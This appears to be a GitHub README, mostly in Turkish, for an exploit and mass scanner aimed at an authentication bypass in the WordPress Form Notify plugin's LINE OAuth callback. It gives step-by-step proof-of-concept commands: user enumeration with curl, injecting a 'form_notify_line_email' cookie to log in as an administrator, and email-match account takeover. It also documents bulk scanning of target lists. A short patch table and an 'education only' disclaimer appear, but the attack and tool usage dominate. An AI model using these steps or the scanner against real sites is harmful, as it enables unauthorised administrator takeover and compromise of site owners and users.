xxconi/CVE-2026-5229
GitHub: xxconi/CVE-2026-5229
Stars: 0 | Forks: 0
# CVE-2026-5229
CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)
# Form Notify — LINE OAuth Authentication Bypass Scanner
## 📌 Zafiyet Hakkında
Form Notify eklentisi, form gönderimleri sonrası bildirim gönderen ve
**LINE Login OAuth 2.0** entegrasyonu sunan bir WordPress eklentisidir.
Zafiyet, LINE OAuth callback handler'ında bulunmaktadır. Kullanıcı
LINE yetkilendirme akışını tamamladıktan sonra eklenti, WordPress
hesabını **yalnızca email adresine göre** çözümler. LINE hesabının
o WordPress hesabıyla daha önce ilişkilendirilip ilişkilendirilmediğini
**hiçbir zaman kontrol etmez.**
## 🔍 Sürüm Bazlı Zafiyet Tablosu
| Sürüm | Zafiyet | Saldırı Yöntemi |
|---|---|---|
| <= 1.1.08 | Cookie Injection + Email Match | Path A veya Path B |
| 1.1.09 – 1.1.10 | Email Match (cookie kaldırıldı) | Path B |
| 1.1.11+ | Yamalı | — |
## ⚙️ Teknik Analiz
### Açık REST Endpoint
LINE OAuth callback endpoint'i tamamen herkese açık olarak kayıtlıdır:
// src/APIs/Line/Login/Route.php
register_rest_route(
'form-notify/v1',
'/callback',
array(
'methods' => 'GET',
'callback' => array( $this, 'get_api_callback' ),
'permission_callback' => function () {
return true; // kimlik doğrulama gerekmez
},
)
);
### Nonce Neden Koruma Sağlamıyor?
WordPress nonce'ları **CSRF token**'dır, kimlik doğrulama token'ı değildir.
Her ziyaretçi sayfa HTML'inden geçerli bir nonce alabilir ve doğrulama
kontrolünü geçebilir.
### Email ile Hesap Çözümleme (1.1.10)
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email = $has_real_email ? $user->email : $user_raw_id . '@line.com';
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
$this->user = get_user_by( 'email', $user_email ); // sadece email ile arama
if ( ! is_wp_error( $this->user ) && $this->user ) {
return true; // linkage kontrolü YOK
}
return false;
}
Eşleşme bulunursa `login()` metodu anında oturum açar:
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
if ( ! is_user_logged_in() ) {
wp_clear_auth_cookie();
wp_set_current_user( $this->user->ID );
wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
}
}
### Cookie Injection (<= 1.1.08)
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
$line_email = sanitize_text_field(
wp_unslash( $_COOKIE['form_notify_line_email'] )
);
}
$user_email = ( $user->email ) ? $user->email : $line_email;
LINE profili email döndürmediğinde (`$user->email` boş),
eklenti **doğrudan tarayıcı cookie'sini** okur.
Saldırgan bu cookie'yi tamamen kontrol eder.
### State Doğrulama Zayıflığı
$session_state = get_transient( 'form_notify_line_state_' . $state );
if ( empty( $session_state ) ) {
// Transient yoksa $_SESSION'a düşer
$session_state = sanitize_text_field(
wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
);
set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}
Transient süresi dolduysa `$_SESSION` fallback'i devreye girer.
Çoğu WordPress kurulumunda `$_SESSION` bu noktada dolu değildir →
state kontrolü atlatılabilir.
### İkincil Sorun — Email = Şifre (<= 1.1.10)
// sign_up() metodu
$userdata = array(
'user_pass' => $user_email, // şifre = email adresi
...
);
LINE OAuth akışıyla oluşturulan hesaplarda şifre, email adresiyle
aynıdır. Bu durum doğrudan brute-force veya login saldırısına
olanak tanır.
## 🔴 Neden Kritik?
| Sebep | Açıklama |
|---|---|
| **Kimlik doğrulama gerekmez** | Callback endpoint tamamen public |
| **Linkage kontrolü yok** | Herhangi LINE hesabı yeterli |
| **Cookie saldırısı** | <= 1.1.08'de email bile gerekmez |
| **Admin dahil tüm hesaplar** | `get_user_by('email')` herkesi etkiler |
| **Zayıf state kontrolü** | CSRF koruması atlatılabilir |
| **Email = Şifre** | OAuth ile açılan hesaplar trivial brute-force'a açık |
## 🧪 Proof of Concept (Manuel)
**Ön Koşullar:**
- Form Notify eklentisi kurulu ve aktif, LINE Login yapılandırılmış
- LINE developer hesabı ve LINE Login channel
- Hedef sitede LINE login butonu olan bir sayfa
### Path A — Cookie Injection (<= 1.1.08)
#### Adım 1 — Hedef Email Tespiti
TARGET="https://target.com"
# WordPress REST API'den kullanıcı listesi
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool
# Veya author sayfaları
curl -s "$TARGET/?author=1" -I | grep Location
#### Adım 2 — Cookie Set Et
Tarayıcı geliştirici araçlarını aç ve konsola yapıştır:
document.cookie = "form_notify_line_email=admin@target.com; path=/";
Veya curl ile:
curl -v -b 'form_notify_line_email=admin@target.com' \
"$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location
#### Adım 3 — LINE OAuth Flow Başlat
Location header'daki LINE OAuth URL'ini tarayıcıda aç.
#### Adım 4 — Email Scope VERMEDEn Tamamla
LINE consent ekranında email iznini **verme** veya emailsiz
bir LINE hesabı kullan. LINE, email olmadan callback'e yönlendirir.
Eklenti cookie'ye düşer.
#### Adım 5 — Oturumu Doğrula
curl -s -b 'wordpress_logged_in_XXXX=...' \
"$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool
Beklenen yanıt:
{
"id": 1,
"name": "admin",
"email": "admin@target.com",
"roles": ["administrator"]
}
### Path B — Email Match (<= 1.1.10)
#### Adım 1 — Hedef Email Tespiti
Path A Adım 1 ile aynı.
#### Adım 2 — LINE Hesabı Oluştur
`account.line.biz` adresinde hedef email ile LINE hesabı oluştur.
*(Email doğrulama gerektirir — hedef inbox'a erişim şarttır.)*
#### Adım 3 — OAuth Flow Başlat
https://target.com/wp-json/form-notify/v1/login
#### Adım 4 — Email Scope VERErek Tamamla
LINE consent ekranında email iznini **ver**.
LINE, email adresini callback'e döndürür.
#### Adım 5 — Otomatik Authenticate
Plugin: is_member('admin@target.com')
→ get_user_by('email', 'admin@target.com')
→ Administrator bulundu
→ wp_set_auth_cookie(1)
→ Oturum açıldı ✓
## 🛠️ Otomatik Tarayıcı
### Kurulum
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt
**requirements.txt**
requests
## 🚀 Kullanım
### Tekil Hedef — Otomatik Email Keşfi
python form_notify_rce.py -u http://hedef.com
### Belirli Email ile Path A (Cookie Injection)
python form_notify_rce.py -u http://hedef.com \
--email admin@hedef.com \
--path A
### Path B (Email Match) — Manuel Tamamlama
python form_notify_rce.py -u http://hedef.com \
--email admin@hedef.com \
--path B
### Her İki Path Birden
python form_notify_rce.py -u http://hedef.com \
--email admin@hedef.com \
--path both
### Toplu Tarama
python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt
### Proxy ile (Burp Suite)
python form_notify_rce.py -u http://hedef.com \
--proxy http://127.0.0.1:8080
## ⚙️ Parametreler
| Parametre | Kısa | Açıklama | Varsayılan |
|---|---|---|---|
| `--url` | `-u` | Tekil hedef URL | — |
| `--list` | `-l` | Hedef listesi dosyası | — |
| `--threads` | `-t` | Thread sayısı | `10` |
| `--output` | `-o` | Çıktı dosyası | `auth_bypass.txt` |
| `--email` | — | Hedef kullanıcı emaili | otomatik keşif |
| `--path` | — | Saldırı path'i (A / B / both) | `both` |
| `--max-users` | — | Hedef başına max kullanıcı | `5` |
| `--proxy` | — | Proxy URL | — |
| `--timeout` | — | İstek timeout (sn) | `10` |
## 📊 Tarayıcı Çıktı Durumları
| Durum | Açıklama |
|---|---|
| `★ AUTH OK` | Oturum cookie'si alındı — tam otomatik |
| `★ WP-ADMIN` | `/wp-admin`'e yönlendirildi |
| `~ MANUAL` | OAuth URL hazır, tarayıcıda tamamla |
| `~ PATH B` | LINE hesabı ile manuel adımlar |
| `- NO_PLUGIN` | Form Notify kurulu değil |
| `- NO_LINE` | LINE Login aktif değil |
| `~ NO_TARGET` | Kullanıcı emaili bulunamadı |
| `~ UNREACH` | Hedefe ulaşılamıyor |
## 🖥️ Örnek Tarayıcı Çıktısı
## 🛡️ Savunma / Yama
| Önlem | Uygulama |
|---|---|
| **Eklenti Güncellemesi** | Form Notify 1.1.11+ sürümüne yükselt |
| **LINE Linkage Kontrolü** | LINE ID'yi kullanıcı meta'ya kaydet, her girişte doğrula |
| **Cookie Fallback Kaldır** | `$_COOKIE['form_notify_line_email']` kullanımını kaldır |
| **State Doğrulama** | Transient fallback'i kaldır, süresi dolmuş state'i reddet |
| **Şifre Politikası** | `sign_up()`'ta email'i şifre olarak kullanma |
| **REST Endpoint Koruması** | Callback endpoint'ine rate limiting uygula |
Güvenli hesap çözümleme örneği:
// Güvensiz (mevcut)
$user = get_user_by( 'email', $line_email );
// Güvenli (önerilen)
$users = get_users( array(
'meta_key' => 'line_user_id',
'meta_value' => $line_user_id, // LINE ID ile eşleştir
) );
## 📁 Dosya Yapısı
form-notify-bypass/
├── form_notify_rce.py # Ana tarayıcı
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
## ⚠️ Yasal Uyarı
## 📄 Lisans
MIT License — Yalnızca eğitim ve araştırma amaçlıdır.
## 🔗 Referanslar
- [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/)
- [LINE Login OAuth 2.0 Docs](https://developers.line.biz/en/docs/line-login/)
- [WordPress Plugin Directory — Form Notify](https://wordpress.org/plugins/form-notify/)
- [CVSS 3.1 Calculator](https://www.first.org/cvss/calculator/3.1)
- [OAuth 2.0 Security Best Practices — RFC 9700](https://datatracker.ietf.org/doc/html/rfc9700)